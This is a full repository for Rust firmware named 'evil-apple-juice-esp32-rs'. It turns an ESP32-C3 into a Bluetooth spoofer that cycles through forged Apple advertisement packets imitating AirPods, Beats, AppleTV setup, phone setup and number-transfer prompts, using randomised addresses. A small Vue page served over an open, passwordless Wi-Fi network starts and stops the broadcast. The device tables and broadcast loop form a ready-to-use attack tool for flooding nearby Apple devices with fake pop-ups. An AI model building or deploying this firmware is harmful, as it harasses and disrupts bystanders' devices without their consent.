├── .cargo └── config.toml ├── .github └── workflows │ └── rust_ci.yml ├── .gitignore ├── Cargo.toml ├── README.md ├── README_cn.md ├── build.rs ├── rust-toolchain.toml ├── sdkconfig.defaults ├── src ├── ble.rs ├── devices.rs ├── http.rs └── main.rs └── vue-ui ├── .gitignore ├── .vscode └── extensions.json ├── README.md ├── env.d.ts ├── index.html ├── package.json ├── src ├── App.vue └── main.ts ├── tsconfig.app.json ├── tsconfig.json ├── tsconfig.node.json └── vite.config.ts /.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | target = "riscv32imc-esp-espidf" 3 | 4 | [target.riscv32imc-esp-espidf] 5 | linker = "ldproxy" 6 | # runner = "espflash --monitor" # Select this runner for espflash v1.x.x 7 | runner = "espflash flash --monitor" # Select this runner for espflash v2.x.x 8 | rustflags = ["--cfg", "espidf_time64", "-C", "default-linker-libraries"] 9 | 10 | [unstable] 11 | build-std = ["core", "alloc", "panic_abort"] 12 | 13 | [env] 14 | MCU="esp32c3" 15 | ESP_IDF_PATH_ISSUES = 'warn' 16 | # Note: this variable is not used by the pio builder (`cargo build --features pio`) 17 | ESP_IDF_VERSION = "v5.1.1" 18 | 19 | -------------------------------------------------------------------------------- /.github/workflows/rust_ci.yml: -------------------------------------------------------------------------------- 1 | name: Continuous Integration 2 | 3 | on: 4 | push: 5 | paths-ignore: 6 | - "**/README.md" 7 | pull_request: 8 | workflow_dispatch: 9 | 10 | env: 11 | CARGO_TERM_COLOR: always 12 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 13 | 14 | jobs: 15 | rust-checks: 16 | name: Rust Checks 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: false 20 | matrix: 21 | action: 22 | - command: build 23 | args: --release 24 | - command: fmt 25 | args: --all -- --check --color always 26 | - command: clippy 27 | args: --workspace -- -D warnings 28 | steps: 29 | - name: Checkout repository 30 | uses: actions/checkout@v4 31 | - name: Enable caching 32 | uses: Swatinem/rust-cache@v2 33 | - name: Setup Node 34 | uses: actions/setup-node@master 35 | - name: Build UI 36 | run: npm install && npm run build 37 | working-directory: vue-ui 38 | - name: Setup Rust 39 | uses: esp-rs/xtensa-toolchain@v1.5 40 | with: 41 | toolchain: nightly 42 | components: rust-src 43 | - name: Run command 44 | run: cargo ${{ matrix.action.command }} ${{ matrix.action.args }} 45 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /.vscode 2 | /.embuild 3 | /target 4 | /Cargo.lock 5 | /.idea 6 | .DS_Store 7 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "evil-apple-juice-esp32-rs" 3 | version = "0.1.0" 4 | authors = ["lz1998 <875543533@qq.com>"] 5 | edition = "2021" 6 | resolver = "2" 7 | rust-version = "1.71" 8 | 9 | [profile.release] 10 | opt-level = "s" 11 | strip = true 12 | 13 | [profile.dev] 14 | debug = true # Symbols are nice and they don't increase the size on Flash 15 | opt-level = "z" 16 | 17 | [features] 18 | default = ["alloc", "esp-idf-svc/native", "esp-idf-svc/panic_handler", "esp-idf-svc/alloc_handler", "esp-idf-svc/libstart"] 19 | 20 | pio = ["esp-idf-svc/pio"] 21 | std = ["alloc", "esp-idf-svc/binstart", "esp-idf-svc/std"] 22 | alloc = ["esp-idf-svc/alloc"] 23 | nightly = ["esp-idf-svc/nightly"] 24 | experimental = ["esp-idf-svc/experimental"] 25 | embassy = ["esp-idf-svc/embassy-sync", "esp-idf-svc/critical-section", "esp-idf-svc/embassy-time-driver"] 26 | 27 | [dependencies] 28 | log = { version = "0.4", default-features = false } 29 | esp-idf-svc = { version = "0.47.3", default-features = false } 30 | esp32-nimble = { version="0.3.2", default-features = false, features = ["no_std"] } 31 | esp-idf-hal = { version = "0.42.5", default-features = false, features = ["embassy-sync", "nightly"] } 32 | esp-async-tcp = { git = "https://github.com/lz1998/esp-async-tcp.git", branch = "main" } 33 | esp-async-http-server = { git = "https://github.com/lz1998/esp-async-http-server.git", rev = "78e3f1e715d49521da499b1aaab27453b16248fb" } 34 | embassy-futures = "0.1" 35 | 36 | [build-dependencies] 37 | embuild = "0.31.3" 38 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # evil-apple-juice-esp32-rs 2 | 3 | English | [中文](README_cn.md) 4 | 5 | ## How To Use 6 | 1. Setup the env: [prerequisites](https://github.com/esp-rs/esp-idf-template#prerequisites). 7 | 2. Connect the Esp32c3 with USB cable. 8 | 3. Execute `npm install && npm run build` in `vue-ui`. 9 | 4. Execute `cargo run`. 10 | 5. Connect Wifi `esp32` and visit `http://192.168.71.1:8080/` to Start/Stop 11 | 12 | 13 | -------------------------------------------------------------------------------- /README_cn.md: -------------------------------------------------------------------------------- 1 | # evil-apple-juice-esp32-rs 2 | 3 | [English](README.md) | 中文 4 | 5 | ## 使用说明 6 | 1. 配置环境: [prerequisites](https://github.com/esp-rs/esp-idf-template#prerequisites) 7 | 2. 用 USB 线连接 esp32c3 8 | 3. 在 `vue-ui` 执行 `npm install && npm run build` 9 | 4. 执行 `cargo run` 10 | 5. 连接 Wi-Fi `esp32`,访问 `http://192.168.71.1:8080/` 控制开关 11 | 12 | 13 | -------------------------------------------------------------------------------- /build.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | embuild::espidf::sysenv::output(); 3 | } 4 | -------------------------------------------------------------------------------- /rust-toolchain.toml: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | channel = "esp" 3 | components = ["rust-src"] 4 | -------------------------------------------------------------------------------- /sdkconfig.defaults: -------------------------------------------------------------------------------- 1 | # Rust often needs a bit of an extra main task stack size compared to C (the default is 3K) 2 | CONFIG_ESP_MAIN_TASK_STACK_SIZE=15000 3 | 4 | CONFIG_LOG_DEFAULT_LEVEL=5 5 | 6 | CONFIG_BT_ENABLED=y 7 | CONFIG_BT_BLE_ENABLED=y 8 | CONFIG_BT_BLUEDROID_ENABLED=n 9 | CONFIG_BT_NIMBLE_ENABLED=y 10 | # CONFIG_BT_NIMBLE_EXT_ADV=y 11 | 12 | CONFIG_BTDM_CTRL_MODE_BLE_ONLY=y 13 | CONFIG_BTDM_CTRL_MODE_BR_EDR_ONLY=n 14 | CONFIG_BTDM_CTRL_MODE_BTDM=n 15 | #CONFIG_BT_NIMBLE_EXT_ADV=y 16 | 17 | 18 | -------------------------------------------------------------------------------- /src/ble.rs: -------------------------------------------------------------------------------- 1 | use crate::devices::DEVICES; 2 | use core::sync::atomic::{AtomicBool, Ordering}; 3 | use esp32_nimble::enums::{ConnMode, DiscMode, OwnAddrType}; 4 | use esp_idf_svc::sys::{esp_fill_random, random}; 5 | 6 | pub static START: AtomicBool = AtomicBool::new(true); 7 | 8 | pub fn start() { 9 | START.store(true, Ordering::Relaxed) 10 | } 11 | 12 | pub fn stop() { 13 | START.store(false, Ordering::Relaxed) 14 | } 15 | 16 | fn random_addr() -> [u8; 6] { 17 | let mut addr = [0u8; 6]; 18 | unsafe { esp_fill_random(addr.as_mut_ptr() as *mut core::ffi::c_void, 6) }; 19 | addr[0] |= 0xF0; 20 | log::info!("{addr:?}"); 21 | addr 22 | } 23 | 24 | fn random_mode() -> (ConnMode, DiscMode) { 25 | match unsafe { random() } % 3 { 26 | 0 => (ConnMode::Non, DiscMode::Non), 27 | 1 => (ConnMode::Non, DiscMode::Gen), 28 | _ => (ConnMode::Und, DiscMode::Non), 29 | } 30 | } 31 | 32 | pub async fn ble_loop(timer: &mut esp_idf_hal::timer::TimerDriver<'_>) { 33 | let ble_device = esp32_nimble::BLEDevice::take(); 34 | ble_device.set_own_addr_type(OwnAddrType::Random); 35 | let ble_advertising = ble_device.get_advertising(); 36 | 37 | for (name, data) in DEVICES.iter().cycle() { 38 | if START.load(Ordering::Relaxed) { 39 | log::info!("{name}"); 40 | let _ = ble_device.set_rnd_addr(random_addr()); 41 | let (conn_mode, disc_mode) = random_mode(); 42 | ble_advertising.advertisement_type(conn_mode); 43 | ble_advertising.disc_mode(disc_mode); 44 | ble_advertising.custom_adv_data(data).unwrap(); 45 | ble_advertising.start().unwrap(); 46 | } 47 | timer.delay(timer.tick_hz()).await.unwrap(); 48 | ble_advertising.stop().unwrap(); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/devices.rs: -------------------------------------------------------------------------------- 1 | pub const DEVICES: &[(&str, &[u8])] = &[ 2 | ( 3 | "Airpods", 4 | &[ 5 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 6 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 7 | 0x00, 0x00, 0x00, 8 | ], 9 | ), 10 | ( 11 | "Airpods Pro", 12 | &[ 13 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 14 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 15 | 0x00, 0x00, 0x00, 16 | ], 17 | ), 18 | ( 19 | "Airpods Max", 20 | &[ 21 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 22 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 24 | ], 25 | ), 26 | ( 27 | "Airpods Gen 2", 28 | &[ 29 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 30 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 31 | 0x00, 0x00, 0x00, 32 | ], 33 | ), 34 | ( 35 | "Airpods Gen 3", 36 | &[ 37 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 38 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 39 | 0x00, 0x00, 0x00, 40 | ], 41 | ), 42 | ( 43 | "Airpods Pro Gen 2", 44 | &[ 45 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 46 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 47 | 0x00, 0x00, 0x00, 48 | ], 49 | ), 50 | ( 51 | "Power Beats", 52 | &[ 53 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 54 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 55 | 0x00, 0x00, 0x00, 56 | ], 57 | ), 58 | ( 59 | "Power Beats Pro", 60 | &[ 61 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 62 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 63 | 0x00, 0x00, 0x00, 64 | ], 65 | ), 66 | ( 67 | "Beats Solo Pro", 68 | &[ 69 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 70 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 71 | 0x00, 0x00, 0x00, 72 | ], 73 | ), 74 | ( 75 | "Beats Studio Buds", 76 | &[ 77 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 78 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 79 | 0x00, 0x00, 0x00, 80 | ], 81 | ), 82 | ( 83 | "Beats Flex", 84 | &[ 85 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 86 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 87 | 0x00, 0x00, 0x00, 88 | ], 89 | ), 90 | ( 91 | "Beats X", 92 | &[ 93 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 94 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 95 | 0x00, 0x00, 0x00, 96 | ], 97 | ), 98 | ( 99 | "Beats Solo 3", 100 | &[ 101 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 102 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 103 | 0x00, 0x00, 0x00, 104 | ], 105 | ), 106 | ( 107 | "Beats Studio 3", 108 | &[ 109 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 110 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 111 | 0x00, 0x00, 0x00, 112 | ], 113 | ), 114 | ( 115 | "Beats Studio Pro", 116 | &[ 117 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 118 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 119 | 0x00, 0x00, 0x00, 120 | ], 121 | ), 122 | ( 123 | "Betas Fit Pro", 124 | &[ 125 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 126 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 127 | 0x00, 0x00, 0x00, 128 | ], 129 | ), 130 | ( 131 | "Beats Studio Buds Plus", 132 | &[ 133 | 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 134 | 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 135 | 0x00, 0x00, 0x00, 136 | ], 137 | ), 138 | ( 139 | "AppleTV Setup", 140 | &[ 141 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 142 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 143 | ], 144 | ), 145 | ( 146 | "AppleTV Pair", 147 | &[ 148 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 149 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 150 | ], 151 | ), 152 | ( 153 | "AppleTV New User", 154 | &[ 155 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 156 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 157 | ], 158 | ), 159 | ( 160 | "AppleTV AppleID Setup", 161 | &[ 162 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 163 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 164 | ], 165 | ), 166 | ( 167 | "AppleTV Wireless Audio Sync", 168 | &[ 169 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0, 170 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 171 | ], 172 | ), 173 | ( 174 | "AppleTV Homekit Setup", 175 | &[ 176 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d, 177 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 178 | ], 179 | ), 180 | ( 181 | "AppleTV Keyboard Setup", 182 | &[ 183 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 184 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 185 | ], 186 | ), 187 | ( 188 | "AppleTV Connecting to Network", 189 | &[ 190 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27, 191 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 192 | ], 193 | ), 194 | ( 195 | "Homepod Setup", 196 | &[ 197 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 198 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 199 | ], 200 | ), 201 | ( 202 | "Setup New Phone", 203 | &[ 204 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 205 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 206 | ], 207 | ), 208 | ( 209 | "Transfer Number", 210 | &[ 211 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 212 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 213 | ], 214 | ), 215 | ( 216 | "TV Color Balance", 217 | &[ 218 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 219 | 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 220 | ], 221 | ), 222 | ]; 223 | -------------------------------------------------------------------------------- /src/http.rs: -------------------------------------------------------------------------------- 1 | use core::net::{IpAddr, Ipv4Addr, SocketAddr}; 2 | use esp_async_http_server::Response; 3 | 4 | pub async fn start_http_server() { 5 | let addr = SocketAddr::new(IpAddr::V4(Ipv4Addr::new(0, 0, 0, 0)), 8080); 6 | let listener = esp_async_tcp::TcpListener::bind(&addr).unwrap(); 7 | if let Err(err) = esp_async_http_server::serve(listener, router).await { 8 | log::error!("serve error: {err:?}") 9 | } 10 | } 11 | 12 | async fn router( 13 | addr: SocketAddr, 14 | req: esp_async_http_server::Request<'_, '_>, 15 | body: &[u8], 16 | ) -> Response { 17 | match req.path { 18 | None => "400".into(), 19 | Some(p) if p.starts_with("/api/start") => start(addr, req, body).await.into(), 20 | Some(p) if p.starts_with("/api/stop") => stop(addr, req, body).await.into(), 21 | Some(_) => index().await.into(), 22 | } 23 | } 24 | 25 | async fn start( 26 | _addr: SocketAddr, 27 | _req: esp_async_http_server::Request<'_, '_>, 28 | _body: &[u8], 29 | ) -> &'static str { 30 | log::info!("start"); 31 | crate::ble::start(); 32 | "start" 33 | } 34 | 35 | async fn stop( 36 | _addr: SocketAddr, 37 | _req: esp_async_http_server::Request<'_, '_>, 38 | _body: &[u8], 39 | ) -> &'static str { 40 | log::info!("stop"); 41 | crate::ble::stop(); 42 | "stop" 43 | } 44 | 45 | async fn index() -> &'static str { 46 | include_str!("../vue-ui/dist/index.html") 47 | } 48 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | #![feature(ip_in_core)] 2 | #![no_std] 3 | #![no_main] 4 | extern crate alloc; 5 | 6 | mod ble; 7 | mod devices; 8 | mod http; 9 | 10 | use crate::ble::ble_loop; 11 | use crate::http::start_http_server; 12 | use embassy_futures::select::select; 13 | use esp_idf_hal::peripherals::Peripherals; 14 | use esp_idf_hal::sys::EspError; 15 | use esp_idf_svc::eventloop::EspSystemEventLoop; 16 | use esp_idf_svc::nvs::EspDefaultNvsPartition; 17 | use esp_idf_svc::timer::EspTaskTimerService; 18 | use esp_idf_svc::wifi::{AsyncWifi, AuthMethod, EspWifi}; 19 | 20 | #[no_mangle] 21 | fn main() { 22 | // It is necessary to call this function once. Otherwise some patches to the runtime 23 | // implemented by esp-idf-sys might not link properly. See https://github.com/esp-rs/esp-idf-template/issues/71 24 | esp_idf_svc::sys::link_patches(); 25 | 26 | // Bind the log crate to the ESP Logging facilities 27 | esp_idf_svc::log::EspLogger::initialize_default(); 28 | 29 | log::info!("Hello, world!"); 30 | esp_idf_hal::task::block_on(run()).unwrap(); 31 | } 32 | 33 | async fn run() -> Result<(), EspError> { 34 | let peripherals = Peripherals::take()?; 35 | 36 | let sys_loop = EspSystemEventLoop::take()?; 37 | let timer_service = EspTaskTimerService::new()?; 38 | let nvs = EspDefaultNvsPartition::take()?; 39 | let mut wifi = AsyncWifi::wrap( 40 | EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?, 41 | sys_loop, 42 | timer_service, 43 | )?; 44 | 45 | let wifi_configuration = esp_idf_svc::wifi::Configuration::AccessPoint( 46 | esp_idf_svc::wifi::AccessPointConfiguration { 47 | ssid: "esp32".into(), 48 | password: "".into(), 49 | auth_method: AuthMethod::None, 50 | channel: 1, 51 | max_connections: 255, 52 | ..Default::default() 53 | }, 54 | ); 55 | 56 | wifi.set_configuration(&wifi_configuration)?; 57 | 58 | wifi.start().await?; 59 | log::info!("Wifi started"); 60 | 61 | wifi.wait_netif_up().await?; 62 | log::info!("Wifi netif up"); 63 | log::info!("{:?}", wifi.wifi().ap_netif().get_ip_info()); 64 | 65 | let mut timer = esp_idf_hal::timer::TimerDriver::new( 66 | peripherals.timer00, 67 | &esp_idf_hal::timer::TimerConfig::new(), 68 | )?; 69 | timer.delay(timer.tick_hz()).await.unwrap(); 70 | select(start_http_server(), ble_loop(&mut timer)).await; 71 | Ok(()) 72 | } 73 | -------------------------------------------------------------------------------- /vue-ui/.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | pnpm-debug.log* 8 | lerna-debug.log* 9 | 10 | node_modules 11 | .DS_Store 12 | dist 13 | dist-ssr 14 | coverage 15 | *.local 16 | 17 | /cypress/videos/ 18 | /cypress/screenshots/ 19 | 20 | # Editor directories and files 21 | .vscode/* 22 | !.vscode/extensions.json 23 | .idea 24 | *.suo 25 | *.ntvs* 26 | *.njsproj 27 | *.sln 28 | *.sw? 29 | 30 | *.tsbuildinfo 31 | 32 | package-lock.json -------------------------------------------------------------------------------- /vue-ui/.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | "recommendations": ["Vue.volar", "Vue.vscode-typescript-vue-plugin"] 3 | } 4 | -------------------------------------------------------------------------------- /vue-ui/README.md: -------------------------------------------------------------------------------- 1 | # vue-ui 2 | 3 | This template should help get you started developing with Vue 3 in Vite. 4 | 5 | ## Recommended IDE Setup 6 | 7 | [VSCode](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur) + [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin). 8 | 9 | ## Type Support for `.vue` Imports in TS 10 | 11 | TypeScript cannot handle type information for `.vue` imports by default, so we replace the `tsc` CLI with `vue-tsc` for type checking. In editors, we need [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin) to make the TypeScript language service aware of `.vue` types. 12 | 13 | If the standalone TypeScript plugin doesn't feel fast enough to you, Volar has also implemented a [Take Over Mode](https://github.com/johnsoncodehk/volar/discussions/471#discussioncomment-1361669) that is more performant. You can enable it by the following steps: 14 | 15 | 1. Disable the built-in TypeScript Extension 16 | 1) Run `Extensions: Show Built-in Extensions` from VSCode's command palette 17 | 2) Find `TypeScript and JavaScript Language Features`, right click and select `Disable (Workspace)` 18 | 2. Reload the VSCode window by running `Developer: Reload Window` from the command palette. 19 | 20 | ## Customize configuration 21 | 22 | See [Vite Configuration Reference](https://vitejs.dev/config/). 23 | 24 | ## Project Setup 25 | 26 | ```sh 27 | npm install 28 | ``` 29 | 30 | ### Compile and Hot-Reload for Development 31 | 32 | ```sh 33 | npm run dev 34 | ``` 35 | 36 | ### Type-Check, Compile and Minify for Production 37 | 38 | ```sh 39 | npm run build 40 | ``` 41 | -------------------------------------------------------------------------------- /vue-ui/env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | -------------------------------------------------------------------------------- /vue-ui/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Vite App 7 | 8 | 9 |
10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /vue-ui/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "vue-ui", 3 | "version": "0.0.0", 4 | "private": true, 5 | "type": "module", 6 | "scripts": { 7 | "dev": "vite", 8 | "build": "run-p type-check \"build-only {@}\" --", 9 | "preview": "vite preview", 10 | "build-only": "vite build", 11 | "type-check": "vue-tsc --build --force" 12 | }, 13 | "dependencies": { 14 | "vue": "^3.3.11" 15 | }, 16 | "devDependencies": { 17 | "@tsconfig/node18": "^18.2.2", 18 | "@types/node": "^18.19.3", 19 | "@vitejs/plugin-vue": "^4.5.2", 20 | "@vue/tsconfig": "^0.5.0", 21 | "npm-run-all2": "^6.1.1", 22 | "typescript": "~5.3.0", 23 | "vite": "^5.0.10", 24 | "vite-plugin-singlefile": "^0.13.5", 25 | "vue-tsc": "^1.8.25" 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /vue-ui/src/App.vue: -------------------------------------------------------------------------------- 1 | 30 | 31 | 42 | 43 | 106 | -------------------------------------------------------------------------------- /vue-ui/src/main.ts: -------------------------------------------------------------------------------- 1 | import { createApp } from 'vue' 2 | import App from './App.vue' 3 | 4 | createApp(App).mount('#app') 5 | -------------------------------------------------------------------------------- /vue-ui/tsconfig.app.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "@vue/tsconfig/tsconfig.dom.json", 3 | "include": ["env.d.ts", "src/**/*", "src/**/*.vue"], 4 | "exclude": ["src/**/__tests__/*"], 5 | "compilerOptions": { 6 | "composite": true, 7 | "noEmit": true, 8 | "baseUrl": ".", 9 | "paths": { 10 | "@/*": ["./src/*"] 11 | } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /vue-ui/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "files": [], 3 | "references": [ 4 | { 5 | "path": "./tsconfig.node.json" 6 | }, 7 | { 8 | "path": "./tsconfig.app.json" 9 | } 10 | ] 11 | } 12 | -------------------------------------------------------------------------------- /vue-ui/tsconfig.node.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "@tsconfig/node18/tsconfig.json", 3 | "include": [ 4 | "vite.config.*", 5 | "vitest.config.*", 6 | "cypress.config.*", 7 | "nightwatch.conf.*", 8 | "playwright.config.*" 9 | ], 10 | "compilerOptions": { 11 | "composite": true, 12 | "noEmit": true, 13 | "module": "ESNext", 14 | "moduleResolution": "Bundler", 15 | "types": ["node"] 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /vue-ui/vite.config.ts: -------------------------------------------------------------------------------- 1 | import { fileURLToPath, URL } from 'node:url' 2 | 3 | import { defineConfig } from 'vite' 4 | import vue from '@vitejs/plugin-vue' 5 | import { viteSingleFile } from 'vite-plugin-singlefile' 6 | 7 | // https://vitejs.dev/config/ 8 | export default defineConfig({ 9 | plugins: [ 10 | vue(), 11 | viteSingleFile(), 12 | ], 13 | resolve: { 14 | alias: { 15 | '@': fileURLToPath(new URL('./src', import.meta.url)) 16 | } 17 | } 18 | }) 19 | --------------------------------------------------------------------------------